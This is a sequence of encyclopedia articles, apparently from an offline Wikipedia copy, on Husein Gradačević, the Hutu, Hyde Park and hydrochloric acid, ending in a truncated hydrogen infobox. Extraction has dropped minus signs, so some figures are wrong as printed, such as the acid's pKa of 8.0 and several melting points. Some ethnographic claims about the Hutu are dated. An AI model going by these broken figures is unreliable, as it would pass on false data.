          Austrian officials faced constant pressure from the Ottoman government to move Gradačević as far away from the border as possible. On July 4 he was moved to Osijek where he essentially lived in internment. His communications with the rest of his family and social circle were severely limited and he complained about his treatment to the authorities several times. His conditions would eventually improve, and before he left Osijek he remarked to local officials that he had enjoyed his stay there. Although intensely homesick and only partially in control of his own destiny, Gradačević retained his pride and dignity. He was said to have lived a luxurious life that included jousting competitions with his companions.


          In late 1832, he agreed to return to Ottoman territory to receive a ferman of pardon from the Sultan. The terms, read to him in Zemun, were very harsh, insisting that Gradačević not only never to return to Bosnia, but also never to set foot on the European lands of the Ottoman Empire either. Disappointed, Gradačević was forced to obey the terms and rode on to Belgrade. He entered the city on October 14 in the manner of a true vizier, riding a horse decked out in silver and gold and accompanied by a large procession. He was greeted as a hero by the Muslims in Belgrade and treated like an equal by the local pasha. Gradačević stayed in the city for two months, during which his health deteriorated (as was documented by local doctor Bartolomeo Kunibert). He left the city for İstanbul in December, but as his daughter was still very young, his wife remained in Belgrade, joining him in the spring of the following year.


          In Istanbul Gradačević lived in an old janissary barracks at atmejdan ( Hippodrome square) while his family lived in a separate house nearby. He lived a relatively quiet life for the next two years, the only notable event being an offer from the Sultan for Gradačević to become a high-ranking pasha in the Nizami army; an offer that Gradačević indignantly refused. He died on August 17, 1834. Legend has it that he was poisoned by imperial authorities but, considering his long failing health, a more probable cause might have been cholera. He was buried in Eyup Sultan Cemetery near the site of the old veterinary school, where his grave remains to this day.


          


          Legacy


          Husein Gradačević was a living legend in his own time. Upon his death, he also became something of a martyr for Bosnian pride. There was a well-known saying among Bosniaks that for years after his death not a single man among our people would be able to hear his name and not shed a tear. This positive sentiment was not exclusive to the Muslim population, as Christians from Posavina are thought to have shared a similar view for decades.


          The first historic literature written about Gradačević can be found in Safvet-beg Baagić's work from 1900, A short introduction into the past of Bosnia and Herzegovina. However, due to historical differences between the Baagić and Gradačević families, Safvet-beg's view of Husein-kapetan is somewhat opinionated. A year later, Gradačević was mentioned by Kunibert in his works on the first Serbian Uprising, which painted a positive picture of Gradačević as a tragic hero.


          In the years that followed, Gradačević was mentioned, either specifically or in the context of the movement he led, by D. Pavlović, Slavko Kaluđerčić, and Hamdija Kreevljaković. The general sentiment was that the autonomy movement was merely a reaction to imperial reforms by the Bosnian upper class. This view would be predominant among historians for decades. Gradačević had a minor resurgence during World War II when Ustae ( Croatian fascists) launched a propaganda-rooted proposal to bring his remains back to Sarajevo.


          During the time of Communist Yugoslavia, Gradačević and his movement were rarely mentioned. The perceived upper-class resistance to implementation of modern reforms did not go well with communist ideology. Gradačević was briefly mentioned in such a light by Avdo Sućeska in his 1964 work on Bosnian captains. It would be another 24 years before Gradačević was mentioned again. This time it was in Galib ljiva's 1988 work on Bosnia in the first half of the 19th century. Though several historiographical controversies were resolved, there was no significant shift in the perception of Gradačević.


          Since the Yugoslav Wars and the Bosniak national awakening, Gradačević and his movement have experienced a rebirth among historians and the common public alike. Works by Ahmed S. Aličić, Mustafa Imamović, and Husnija Kamberović have all cast Gradačević in a more positive light. Gradačević is once again widely considered the greatest Bosniak national hero, and is a symbol of national pride and spirit. The main streets in Gradačac and Sarajevo are both named after him, as well as numerous other places in Bosnia and Herzegovina. An impressive statue and monument to Gradačević are to be built in Gradačac sometime in the near future. Talk of returning Gradačević's remains to Bosnia has been proposed, but little has come of it.
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              	Hutu
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              	Total population
            


            
              	
                5-9.5 million

              
            


            
              	Regions with significant populations
            


            
              	Rwanda, Burundi, Eastern Democratic Republic of the Congo (mainly refugees)
            


            
              	Languages
            


            
              	Kirundi, Kinyarwanda, French
            


            
              	Religion
            


            
              	Catholicism, Protestantism, Sunni Islam, indigenous beliefs.
            


            
              	Related ethnic groups
            


            
              	Tutsi, Twa
            

          


          The Hutu are a Central African ethnic group, living mainly in Rwanda and Burundi.


          


          Population statistics


          The Hutu are the largest of the three ethnic groups in Burundi and Rwanda; according to the United States Central Intelligence Agency, 84% of Rwandans and 85% of Burundians are Hutu, although other sources have found statistics that differ by several percent. The division between the Hutu and the Tutsi (the larger of the other two groups) is based more upon social class than ethnicity, as there are no significant lingual, physical, or cultural differences between them. (The Twa pygmies, the smallest of Rwanda and Burundi's three groups, also share language and culture with the Hutu and Tutsi, but are much shorter and have agreed-upon genetic differences.)


          


          Competing theories about origins


          The Hutu arrived in Africa's Great Lakes region from what is now Chad during the 11th century, displacing the Twa pygmies, and dominated the area with a series of small kingdoms until the arrival of the Tutsi. Several theories exist to explain the Tutsi and their differences (if any) from the Hutu. One is that the Tutsi were a Hamitic people who migrated south from what is now Ethiopia, conquering the Hutu kingdoms and establishing dominance over the Hutu and Twa between the 15th and 18th centuries. However, an alternate theory, that the Hutu and Tutsi were originally one people, but were artificially divided by German and then Belgian colonists so the Tutsi minority could serve as local overseers for Berlin and Brussels, has received support among those supporting Rwandan national unity, but may be an attempt at historical revisionism. Still others suggest that the two groups are related but not identical, and that the differences between the two were exacerbated by Europeans or by a gradual, natural split as those who owned cattle became known as Tutsi and those who did not became Hutu. Mahmood Mamdani states that the Belgian colonial power designated people as Tutsi or Hutu on the basis of cattle ownership, physical measurements and church records.


          


          Post-colonial history of the Hutu and Tutsi


          
            
              	Hutu militants
            


            
              	
            


            
              	Rwandan Genocide (1994)
            


            
              	Impuzamugambi
            


            
              	Interahamwe
            


            
              	Rwandan Armed Forces
            


            
              	Refugee crisis
            


            
              	RDR (1995-1996)
            


            
              	1st and 2nd Congo War
            


            
              	ALiR (1996-2001)
            


            
              	FDLR (2000- )
            


            
              	
            

          


          The Belgian-sponsored Tutsi monarchy survived until 1959, when Kigeli V was exiled from the colony (then called Ruanda-Urundi.) In Burundi, Tutsis, who are the minority, maintained control of the government and military. In Rwanda, the political power was transferred from the minority Tutsi to the majority Hutu.


          In Burundi, a campaign of genocide was conducted against Hutu population in 1972, and an estimated 100,000 to 300,000 Hutus died. In 1993, Burundi's first democratically elected president and also a Hutu, Melchior Ndadaye, was assassinated by Tutsi militia. This sparked a genocide by Hutu leaders of as many as 400,000 Tutsis.


          The conflict resulted in genocide in Rwanda as well. Tutsis, however, remained in control of Burundi. During the Rwandan Genocide of 1994, extremists killed an estimated 800,000 Rwandans, mainly Tutsis as well as moderate Hutus. About 30% of the Twa population of Rwanda also died in the fighting.


          As of 2006, violence between the Hutu and Tutsi has subsided, but the situation in both Rwanda and Burundi is still tense, and tens of thousands of Rwandans are still living outside the country (see Great Lakes refugee crisis).
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                Royal Parks of London
                

              
            


            
              	
                
                  	Bushy Park


                  	Green Park


                  	Greenwich Park


                  	Hyde Park


                  	Kensington Gardens


                  	Regent's Park


                  	Richmond Park


                  	St James's Park

                

              
            

          


          Hyde Park is one of the largest parks in central London, England and one of the Royal Parks of London, famous for its Speakers' Corner.


          The park is divided in two by the Serpentine Lake. The park is contiguous with Kensington Gardens; although often still assumed to be part of Hyde Park, Kensington Gardens has been technically separate since 1728, when Queen Caroline made a division between the two. Hyde Park is 350 acres (140 hectare/1.4 km) and Kensington Gardens is 275 acres (110 ha/1.1 km) giving an overall area of 625 acres (250 ha/2.5 km), making this park larger than the Principality of Monaco (1.96 square kilometres or 485 acres). To the southeast (but outside of the park) is Hyde Park Corner. Although, during daylight, the two parks merge seamlessly into each other, Kensington Gardens closes at dusk but Hyde Park remains open throughout the year from 5 am until midnight.
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          The park was the site of The Great Exhibition of 1851, for which the Crystal Palace was designed by Joseph Paxton.


          The park has become a traditional location for mass demonstrations. The Chartists, the Reform League, the Suffragettes and the Stop The War Coalition have all held protests in the park. Many protestors on the Liberty and Livelihood March in 2002 started their march from Hyde Park.


          On 20 July 1982 in the Hyde Park and Regents Park bombings, two bombs linked to the Provisional Irish Republican Army caused the death of eight members of the Household Cavalry and the Royal Green Jackets and seven horses.


          


          History
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          In 1536 Henry VIII acquired the manor of Hyde from the canons of Westminster Abbey, who had held it since before the Norman Conquest; it was enclosed as a deer park and used for hunts. It remained a private hunting ground until James I permitted limited access to gentlefolk, appointing a ranger to take charge. Charles I created the Ring (north of the present Serpentine boathouses) and in 1637 he opened the park to the general public.


          In 1689, when William III moved his habitation to Nottingham House in the village of Kensington on the far side of Hyde Park, and renamed it Kensington Palace, he had a drive laid out across its south edge, leading to St. James's Palace; this Route du Roi came to be corrupted to Rotten Row, which still exists as a wide straight gravelled carriage track leading west from Hyde Park Corner across the south boundary of Hyde Park. Public transportation that was entering London from the west paralleled the King's private road along Kensington Gore, just outside the Park.
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          The first coherent landscaping was undertaken by Charles Bridgeman for Queen Caroline; under the supervision of Charles Withers, Surveyor-General of Woods and Forest, who took some credit for it, it was completed in 1733 at a cost to the public purse of ₤20,000. Bridgeman's piece of water called The Serpentine, formed by damming the little Westbourne that flowed through the Park was not truly in the serpentine "line of beauty" that William Hogarth described, but merely irregular on a modest curve. The 2nd Viscount Weymouth was made Ranger of Hyde Park in 1739 and shortly began digging the serpentine lakes at Longleat. The Serpentine is divided from the Long Water by a bridge designed by George Rennie (1826).


          One of the most important events to take place in the park was the Great Exhibition of 1851. The Crystal Palace was constructed on the south side of the park. The public in general did not want the building to remain in the park after the conclusion of the exhibition, and the design architect, Joseph Paxton, raised funds and purchased it. He had it moved to Sydenham Hill in South London.


          


          Grand Entrance
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          The Grand Entrance to the park, at Hyde Park Corner next to Apsley House, was erected from the designs of Decimus Burton in 1824-25. An early description reports:


          
            "It consists of a screen of handsome fluted Ionic columns, with three carriage entrance archways, two foot entrances, a lodge, etc. The extent of the whole frontage is about 107 ft (33 m). The central entrance has a bold projection: the entablature is supported by four columns; and the volutes of the capitals of the outside column on each side of the gateway are formed in an angular direction, so as to exhibit two complete faces to view. The two side gateways, in their elevations, present two insulated Ionic columns, flanked by antae. All these entrances are finished by a blocking, the sides of the central one being decorated with a beautiful frieze, representing a naval and military triumphal procession. This frieze was designed by Mr. Henning, junior, the son of Mr. Henning who was well known for his models of the Elgin marbles. "The gates were manufactured by Messrs. Bramah. They are of iron, bronzed, and fixed or hung to the piers by rings of gun-metal. The design consists of a beautiful arrangement of the Greek honeysuckle ornament; the parts being well defined, and the raffles of the leaves brought out in a most extraordinary manner."

          


          A rose garden, designed by Colvin & Moggeridge, was added in 1994.
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          Sites of interest


          Sites of interest in the park include Speakers' Corner (located in the northeast corner near Marble Arch), close to the former site of the Tyburn gallows, and Rotten Row, which is the northern boundary of the site of the Crystal Palace. South of the Serpentine Lake is the Diana, Princess of Wales memorial, an oval stone ring fountain opened on 6 July 2004. To the east of the Serpentine, just beyond the dam, is London's Holocaust Memorial. A magnificent specimen of a botanical curiosity is the Weeping Beech, Fagus sylvatica pendula, cherished as "the upside-down tree" (illustration). Opposite Hyde Park Corner stands one of the grandest hotels in London, The Lanesborough, which offers its top suite at 8,000 per night.


          Stanhope Lodge (Decimus Burton, 1824-25) at Stanhope Gate, demolished to widen Park Lane, was the home of Samuel Parkes who won the Victoria Cross in the Charge of the Light Brigade. Parkes was later Inspector of the Park Constables of the Park and died in the Lodge on 14 November 1864.
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          The photography for the Beatles album Beatles for Sale was taken at Hyde Park in the autumn of 1964.


          


          Concerts
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          Hyde Park has been the venue for some famous rock concerts, including Pink Floyd (1968 and 1970), Jethro Tull (1968), Blind Faith (1969), The Rolling Stones (1969), King Crimson (1969), Grand Funk Railroad (1971), Roy Harper (1971), Wigwam (1975), Queen (1976), Pavarotti (1991), The Who (1996), Eric Clapton (1996), Michael Flatley (1998), Steps (2000), Bon Jovi (2003), Shania Twain (2003), Red Hot Chili Peppers (2004), Live 8 (2005), Queen + Paul Rodgers (2005), Daft Punk (2007), Depeche Mode (2006), Foo Fighters (2006), Aerosmith (2007), White Stripes (2007), and Capital 95.8 Party in the Park & Concert For Mandella 90 (2008). Red Hot Chili Peppers in 2004 did three concerts over the space of one week, these three concerts became the highest grossing concerts at a single venue in history.


          


          Hyde Park in fiction


          In Volume II of Alan Moore's graphic novel, The League of Extraordinary Gentlemen, Allan Quatermain implies that Hyde Park is named in honour of Mr. Edward Hyde, the bestial alter ego of Dr. Henry Jekyll, the titular character(s) of Robert Louis Stevenson's novella, The Strange Case of Dr. Jekyll and Mr. Hyde. This was a posthumous honour, done so to recognize Hyde's death while attempting to stop invaders from the planet Mars in their advance upon London (adapted from H. G. Wells' The War of the Worlds). In this story, Hyde Park was originally named "Serpentine Park".


          In the Bernard Cornwell novel Sharpe's Regiment, a reenactment of the Battle of Vitoria was staged. During the reenactment, Major Richard Sharpe, led the Second Battalion of the South Essex Regiment into Hyde Park holding a French Imperial Eagle, which Sharpe had captured during the Battle of Talavera, to present his men to the Prince Regent in order to secure their protection from Sharpe's enemies.


          In The Face of Evil (a serial in the British science fiction television series Doctor Who), The Doctor is attempting to reach Hyde Park when he lands on an alien planet.


          Hyde Park is also the setting for Anne Perry's Victorian murder mystery, The Hyde Park Headsman in which several murder victims are found beheaded in or near the park under strange circumstances, causing near-hysterical terror in the residents of 1892 London. Superintendent Thomas Pitt is charged with discovering the murderer before he/she can strike again.


          Hyde Park features as a setting in The Eye in the Door by British novelist Pat Barker. Chapter one in particular alludes to the Park's history as a gay cruising ground before the decriminalization of homosexuality in 1967.


          It featured where Mark Darcy and Daniel Cleaver fight in the 2004 sequel to Bridget Jones Diary.


          The discovery of a young scientist's body in the Long Water, near the Peter Pan statue, is a central incident in Boris Starling's 2006 novel Visibility.


          Also, In Destroy All Humans! 2, it is an area in Albion, a fictionalized London.


          Featured in Libba Bray's Rebel Angels and The Sweet Far Thing.


          


          Transport


          There are five London Underground stations located on or near the edges of Hyde Park and Kensington Gardens (which is contiguous with Hyde Park). In clockwise order starting from the south-east, they are:


          
            	Hyde Park Corner ( Piccadilly Line)


            	Knightsbridge ( Piccadilly Line)


            	Queensway ( Central Line)


            	Lancaster Gate ( Central Line)


            	Marble Arch ( Central Line)

          


          
            	Bayswater on the Circle and District Lines, is also close to Queensway station and the north-west corner of the park.

          


          Many buses also serve the local area.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hyde_Park,_London"
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              	Hydrochloric acid
            


            
              	[image: Molecular model of hydrogen chloride]
            


            
              	IUPAC name

              	Hydrochloric acid
            


            
              	Other names

              	Muriatic acid, Spirit of salt
            


            
              	Identifiers
            


            
              	CAS number

              	[7647-01-0]
            


            
              	RTECS number

              	MW4025000
            


            
              	Properties
            


            
              	Molecular formula

              	HCl in water (H2O)
            


            
              	Molar mass

              	36.46g/mol (HCl)
            


            
              	Appearance

              	Clear colorless to

              light-yellow liquid
            


            
              	Melting point

              	
                26C (247K)

                38% solution.

              
            


            
              	Boiling point

              	
                110C (383 K),

                20.2% solution;

                48C (321 K),

                38% solution.

              
            


            
              	Solubility in water

              	Miscible.
            


            
              	Acidity (pKa)

              	8.0
            


            
              	Viscosity

              	1.9 mPas at 25C,

              31.5% solution
            


            
              	Hazards
            


            
              	MSDS

              	External MSDS
            


            
              	MSDS

              	External MSDS
            


            
              	Main hazards

              	Corrosive
            


            
              	NFPA 704
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              	R-phrases

              	R34, R37
            


            
              	S-phrases

              	S26, S36, S45
            


            
              	Flash point

              	Non-flammable.
            


            
              	Related compounds
            


            
              	Other anions

              	HF, HBr, HI
            


            
              	Related acids

              	Hydrobromic acid

              Hydrofluoric acid

              Hydroiodic acid

              Sulfuric acid
            


            
              	Supplementary data page
            


            
              	Structure and

              properties

              	n, r, etc.
            


            
              	Thermodynamic

              data

              	Phase behaviour

              Solid, liquid, gas
            


            
              	Spectral data

              	UV, IR, NMR, MS
            


            
              	Except where noted otherwise, data are given for

              materials in their standard state

              (at 25C, 100kPa)

              Infobox disclaimer and references
            

          


          Hydrochloric acid is the aqueous solution of hydrogen chloride gas (HCl). It is a strong acid, and the major component of gastric acid. It is also widely used in industry. Hydrochloric acid must be handled with appropriate safety precautions because it is a highly corrosive liquid.


          Hydrochloric acid, or Muriatic acid by its historical but still occasionally-used name, has been an important and frequently-used chemical from early history, and was discovered by the alchemist Jabir ibn Hayyan around the year 800. It was used throughout the Middle Ages by alchemists in the quest for the philosopher's stone, and later by several European scientists including Glauber, Priestley, and Davy in order to help establish modern chemical knowledge.


          From the Industrial Revolution, it became a very important industrial chemical for many applications, including the large-scale production of organic compounds, such as vinyl chloride for PVC plastic, and MDI/ TDI for polyurethane, and smaller-scale applications, such as production of gelatin and other ingredients in food, and leather processing. About 20 million metric tonnes of HCl gas are produced annually.


          


          History


          Hydrochloric acid was first discovered around 800 AD by the alchemist Jabir ibn Hayyan (Geber), by mixing common salt with vitriol (sulfuric acid). Jabir discovered many important chemicals, and recorded his findings in over twenty books, which carried his chemical knowledge of hydrochloric acid and other basic chemicals for hundreds of years. Jabir's invention of the gold-dissolving aqua regia, consisting of hydrochloric acid and nitric acid, was of great interest to alchemists searching for the philosopher's stone.


          
            [image: Jabir ibn Hayyan, medieval manuscript drawing]

            
              Jabir ibn Hayyan, medieval manuscript drawing
            

          


          In the Middle Ages, hydrochloric acid was known to European alchemists as spirit of salt or acidum salis. Gaseous HCl was called marine acid air. The old (pre- systematic) name muriatic acid has the same origin (muriatic means "pertaining to brine or salt"), and this name is still sometimes used. Notable production was recorded by Basilius Valentinus, the alchemist- canon of the Benedictine priory Sankt Peter in Erfurt, Germany in the fifteenth century. In the seventeenth century, Johann Rudolf Glauber from Karlstadt am Main, Germany used sodium chloride salt and sulfuric acid for the preparation of sodium sulfate in the Mannheim process, releasing hydrogen chloride gas. Joseph Priestley of Leeds, England prepared pure hydrogen chloride in 1772, and in 1818 Humphry Davy of Penzance, England proved that the chemical composition included hydrogen and chlorine.


          During the Industrial Revolution in Europe, demand for alkaline substances such as soda ash increased, and the new industrial soda process by Nicolas Leblanc ( Issoundun, France) enabled cheap large-scale production. In the Leblanc process, salt is converted to soda ash, using sulfuric acid, limestone, and coal, releasing hydrogen chloride as a by-product. Until the Alkali Act of 1863, excess HCl was vented to the air. After the passage of the act, soda ash producers were obliged to absorb the waste gas in water, producing hydrochloric acid on an industrial scale.


          When early in the twentieth century the Leblanc process was effectively replaced by the Solvay process without the hydrochloric acid by-product, hydrochloric acid was already fully settled as an important chemical in numerous applications. The commercial interest initiated other production methods which are still used today, as described below. Today, most hydrochloric acid is made by absorbing hydrogen chloride from industrial organic compounds production.


          Hydrochloric acid is listed as a Table II precursor under the 1988 Convention Against Illicit Traffic in Narcotic Drugs and Psychotropic Substances because of its use in the production of heroin, cocaine, and methamphetamine.


          


          Chemistry


          
            [image: Acid titration]

            
              Acid titration
            

          


          Hydrogen chloride (HCl) is a monoprotic acid, which means it can dissociate (i.e., ionize) only once to give up one H+ ion (a single proton). In aqueous hydrochloric acid, the H+ joins a water molecule to form a hydronium ion, H3O+:


          
            	
              
                	HCl + H2O ⇌ H3O+ + Cl

              

            

          


          The other ion formed is Cl, the chloride ion. Hydrochloric acid can therefore be used to prepare salts called chlorides, such as sodium chloride. Hydrochloric acid is a strong acid, since it is fully dissociated in water.


          Monoprotic acids have one acid dissociation constant, Ka, which indicates the level of dissociation in water. For a strong acid like HCl, the Ka is large. Theoretical attempts to assign a Ka to HCl have been made. When chloride salts such as NaCl are added to aqueous HCl they have practically no effect on pH, indicating that Cl is an exceedingly weak conjugate base and that HCl is fully dissociated in aqueous solution. For intermediate to strong solutions of hydrochloric acid, the assumption that H+ molarity (a unit of concentration) equals HCl molarity is excellent, agreeing to four significant digits.


          Of the seven common strong acids in chemistry, all of them inorganic, hydrochloric acid is the monoprotic acid least likely to undergo an interfering oxidation-reduction reaction. It is one of the least hazardous strong acids to handle; despite its acidity, it produces the less reactive and non-toxic chloride ion. Intermediate strength hydrochloric acid solutions are quite stable, maintaining their concentrations over time. These attributes, plus the fact that it is available as a pure reagent, mean that hydrochloric acid makes an excellent acidifying reagent and acid titrant (for determining the amount of an unknown quantity of base in titration). Strong acid titrants are useful because they give more distinct endpoints in a titration, making the titration more precise. Hydrochloric acid is frequently used in chemical analysis and to digest samples for analysis. Concentrated hydrochloric acid will dissolve some metals to form oxidized metal chlorides and hydrogen gas. It will produce metal chlorides from basic compounds such as calcium carbonate or copper(II) oxide. It is also used as a simple acid catalyst for some chemical reactions.


          


          Physical properties


          The physical properties of hydrochloric acid, such as boiling and melting points, density, and pH depend on the concentration or molarity of HCl in the acid solution. They can range from those of water at 0% HCl to values for fuming hydrochloric acid at over 40% HCl.


          
            
              
                	Conc. (w/w)

                c: kgHCl/kg

                	Conc. (w/v)

                c: kgHCl/m3

                	Conc.

                Baum


                	Density

                : kg/l

                	Molarity

                M

                	 pH


                	Viscosity

                : mPas

                	Specific

                heat

                s: kJ/(kgK)

                	Vapor

                pressure

                PHCl: Pa

                	Boiling

                point

                b.p.

                	Melting

                point

                m.p.
              


              
                	10%

                	104.80

                	6.6

                	1.048

                	2.87 M

                	-0.5

                	1.16

                	3.47

                	0.527

                	103 C

                	-18 C
              


              
                	20%

                	219.60

                	13

                	1.098

                	6.02 M

                	-0.8

                	1.37

                	2.99

                	27.3

                	108 C

                	-59 C
              


              
                	30%

                	344.70

                	19

                	1.149

                	9.45 M

                	-1.0

                	1.70

                	2.60

                	1,410

                	90 C

                	-52 C
              


              
                	32%

                	370.88

                	20

                	1.159

                	10.17 M

                	-1.0

                	1.80

                	2.55

                	3,130

                	84 C

                	-43 C
              


              
                	34%

                	397.46

                	21

                	1.169

                	10.90 M

                	-1.0

                	1.90

                	2.50

                	6,733

                	71 C

                	-36 C
              


              
                	36%

                	424.44

                	22

                	1.179

                	11.64 M

                	-1.1

                	1.99

                	2.46

                	14,100

                	61 C

                	-30 C
              


              
                	38%

                	451.82

                	23

                	1.189

                	12.39 M

                	-1.1

                	2.10

                	2.43

                	28,000

                	48 C

                	-26 C
              

            
The reference temperature and pressure for the above table are 20C and 1 atmosphere (101kPa).
          


          Hydrochloric acid as the binary (two-component) mixture of HCl and H2O has a constant-boiling azeotrope at 20.2% HCl and 108.6C (227F). There are four constant- crystallization eutectic points for hydrochloric acid, between the crystal form of HClH2O (68% HCl), HCl2H2O (51% HCl), HCl3H2O (41% HCl), HCl6H2O (25% HCl), and ice (0% HCl). There is also a metastable eutectic point at 24.8% between ice and the HCl3H2O crystallization


          


          Production


          Hydrochloric acid is prepared by dissolving hydrogen chloride in water. Hydrogen chloride can be generated in many ways, and thus several different precursors to hydrochloric acid exist. The large-scale production of hydrochloric acid is almost always integrated with other industrial scale chemicals production.


          


          Industrial market


          Hydrochloric acid is produced in solutions up to 38% HCl (concentrated grade). Higher concentrations up to just over 40% are chemically possible, but the evaporation rate is then so high that storage and handling need extra precautions, such as pressure and low temperature. Bulk industrial-grade is therefore 30% to 34%, optimized for effective transport and limited product loss by HCl vapors. Solutions for household purposes, mostly cleaning, are typically 10% to 12%, with strong recommendations to dilute before use.


          Major producers worldwide include Dow Chemical at 2 million metric tonnes annually (2Mt/year), calculated as HCl gas, and FMC, Georgia Gulf Corporation, Tosoh Corporation, Akzo Nobel, and Tessenderlo at 0.5 to 1.5Mt/year each. Total world production, for comparison purposes expressed as HCl, is estimated at 20Mt/year, with 3Mt/year from direct synthesis, and the rest as secondary product from organic and similar syntheses. By far, most of all hydrochloric acid is consumed captively by the producer. The open world market size is estimated at 5Mt/year.


          


          Applications


          
            [image: Hydrochloric acid is a common laboratory reagent.]

            
              Hydrochloric acid is a common laboratory reagent.
            

          


          Hydrochloric acid is a strong inorganic acid that is used in many industrial processes. The application often determines the required product quality.


          


          Regeneration of ion exchangers


          An important application of high-quality hydrochloric acid is the regeneration of ion exchange resins. Cation exchange is widely used to remove ions such as Na+ and Ca2+ from aqueous solutions, producing demineralized water.


          
            	
              
                	Na+ is replaced by H3O+


                	Ca2+ is replaced by 2 H3O+

              

            

          


          Ion exchangers and demineralized water are used in all chemical industries, drinking water production, and many food industries.


          


          pH Control and neutralization


          A very common application of hydrochloric acid is to regulate the basicity ( pH) of solutions.


          
            	
              
                	OH + HCl  H2O + Cl

              

            

          


          In industry demanding purity (food, pharmaceutical, drinking water), high-quality hydrochloric acid is used to control the pH of process water streams. In less-demanding industry, technical-quality hydrochloric acid suffices for neutralizing waste streams and swimming pool treatment.


          


          Pickling of steel


          Pickling is an essential step in metal surface treatment, to remove rust or iron oxide scale from iron or steel before subsequent processing, such as extrusion, rolling, galvanizing, and other techniques. Technical-quality HCl at typically 18% concentration is the most commonly-used pickling agent for the pickling of carbon steel grades.


          
            	
              
                	Fe2O3 + Fe + 6 HCl  3 FeCl2 + 3 H2O

              

            

          


          The spent acid has long been re-used as ferrous chloride solutions, but high heavy-metal levels in the pickling liquor has decreased this practice.


          In recent years, the steel pickling industry has, however, developed hydrochloric acid regeneration processes, such as the spray roaster or the fluidized bed HCl regeneration process, which allow the recovery of HCl from spent pickling liquor. The most common regeneration process is the pyrohydrolysis process, applying the following formula:


          
            	
              
                	4 FeCl2 + 4 H2O + O2  8 HCl+ 2 Fe2O3

              

            

          


          By recuperation of the spent acid, a closed acid loop is established. The ferric oxide by product of the regeneration process is a valuable by-product, used in a variety of secondary industries.


          HCl is not a common pickling agent for stainless steel grades.


          


          Production of inorganic compounds


          Numerous products can be produced with hydrochloric acid in normal acid-base reactions, resulting in inorganic compounds. These include water treatment chemicals such as iron(III) chloride and polyaluminium chloride (PAC).


          
            	
              
                	Fe2O3 + 6 HCl  2 FeCl3 + 3 H2O

              

            

          


          Both iron(III) chloride and PAC are used as flocculation and coagulation agents in wastewater treatment, drinking water production, and paper production.


          Other inorganic compounds produced with hydrochloric acid include road application salt calcium chloride, nickel(II) chloride for electroplating, and zinc chloride for the galvanizing industry and battery production.


          


          Production of organic compounds


          The largest hydrochloric acid consumption is in the production of organic compounds such as vinyl chloride for PVC, and MDI and TDI for polyurethane. This is often captive use, consuming locally-produced hydrochloric acid that never actually reaches the open market. Other organic compounds produced with hydrochloric acid include bisphenol A for polycarbonate, activated carbon, and ascorbic acid, as well as numerous pharmaceutical products.


          


          Other applications


          Hydrochloric acid is a fundamental chemical, and as such it is used for a large number of small-scale applications, such as leather processing, household cleaning, and building construction. In addition, a way of stimulating oil production is by injecting hydrochloric acid into the rock formation of an oil well, dissolving a portion of the rock, and creating a large-pore structure. Oil-well acidizing is a common process in the North Sea oil production industry.


          Many chemical reactions involving hydrochloric acid are applied in the production of food, food ingredients, and food additives. Typical products include aspartame, fructose, citric acid, lysine, hydrolyzed (vegetable) protein as food enhancer, and in gelatin production. Food-grade (extra-pure) hydrochloric acid can be applied when needed for the final product.


          


          Presence in living organisms


          


          Physiology and pathology


          Hydrochloric acid constitutes the majority of gastric acid, the human digestive fluid. In a complex process and at a large energy burden, it is secreted by parietal cells (also known as oxyntic cells). These cells contain an extensive secretory network (called canaliculi) from which the HCl is secreted into the lumen of the stomach. They are part of the fundic glands (also known as oxyntic glands) in the stomach.


          Safety mechanisms that prevent the damage of the epithelium of digestive tract by hydrochloric acid are the following:


          
            	Negative regulators of its release


            	A thick mucus layer covering the epithelium


            	Sodium bicarbonate secreted by gastric epithelial cells and pancreas


            	The structure of epithelium ( tight junctions)


            	Adequate blood supply


            	Prostaglandins (many different effects: they stimulate mucus and bicarbonate secretion, maintain epithelial barrier integrity, enable adequate blood supply, stimulate the healing of the damaged mucous membrane)

          


          When, due to different reasons, these mechanisms fail, heartburn or peptic ulcers can develop. Drugs called proton pump inhibitors prevent the body from making excess acid in the stomach, while antacids neutralize existing acid.


          In some instances, the stomach does not produce enough hydrochloric acid. These pathologic states are denoted by the terms hypochlorhydria and achlorhydria. They have the potential to lead to gastroenteritis.


          


          Chemical weapons


          Phosgene (COCl2) was a common chemical warfare agent used in World War I. The main effect of phosgene results from the dissolution of the gas in the mucous membranes deep in the lung, where it is converted by hydrolysis into carbonic acid and the corrosive hydrochloric acid. The latter disrupts the alveolar- capillary membranes so that the lung becomes filled with fluid ( pulmonary edema).


          Hydrochloric acid is also partly responsible for the harmful or blistering effects of mustard gas. In the presence of water, such as on the moist surface of the eyes or lungs, mustard gas breaks down forming hydrochloric acid.


          


          Safety


          
            
              	Dangerous goods labels
            


            
              	[image: Dangerous goods label for hydrochloric acid: corrosive] 
            

          


          Hydrochloric acid in high concentrations forms acidic mists. Both the mist and the solution have a corrosive effect on human tissue, with the potential to damage respiratory organs, eyes, skin, and intestines. Upon mixing hydrochloric acid with common oxidizing chemicals, such as bleach (NaClO) or permanganate (KMnO4), the toxic gas chlorine is produced. To minimize the risks while working with hydrochloric acid, appropriate precautions should be taken, including wearing rubber or PVC gloves, protective eye goggles, and chemical-resistant clothing.


          The hazards of solutions of hydrochloric acid depend on the concentration. The following table lists the EU classification of hydrochloric acid solutions:


          
            
              	Concentration

              by weight

              	Classification

              	R-Phrases
            


            
              	10%25%

              	Irritant (Xi)

              	R36/37/38
            


            
              	>25%

              	Corrosive (C)

              	R34 R37
            

          


          


          The Environmental Protection Agency rates and regulates hydrochloric acid as a toxin.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hydrochloric_acid"
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              	General
            


            
              	Name, symbol, number

              	hydrogen, H, 1
            


            
              	Chemical series

              	nonmetals
            


            
              	Group, period, block

              	1, 1, s
            


            
              	Appearance

              	colorless

              [image: ]
            


            
              	Standard atomic weight

              	1.00794 (7)gmol1
            


            
              	Electron configuration

              	1s1
            


            
              	Electrons per shell

              	1
            


            
              	Physical properties
            


            
              	Phase

              	gas
            


            
              	Density

              	(0 C, 101.325 kPa)

              0.08988 g/L
            


            
              	Melting point

              	14.01 K

              (259.14 C, 434.45 F)
            


            
              	Boiling point

              	20.28 K

              (252.87  C, 423.17  F)
            


            
              	Triple point

              	13.8033K(-259 C),7.042kPa
            


            
              	Critical point

              	32.97 K, 1.293 MPa
            


            
              	Heat of fusion

              	(H2) 0.117 kJmol1
            


            
              	Heat of vaporization

              	(H2) 0.904 kJmol1
            


            
              	Specific heat capacity

              	(25 C) (H2)

              28.836 Jmol1K1
            


            
              	
                
                  
                    Vapor pressure
                  

                  
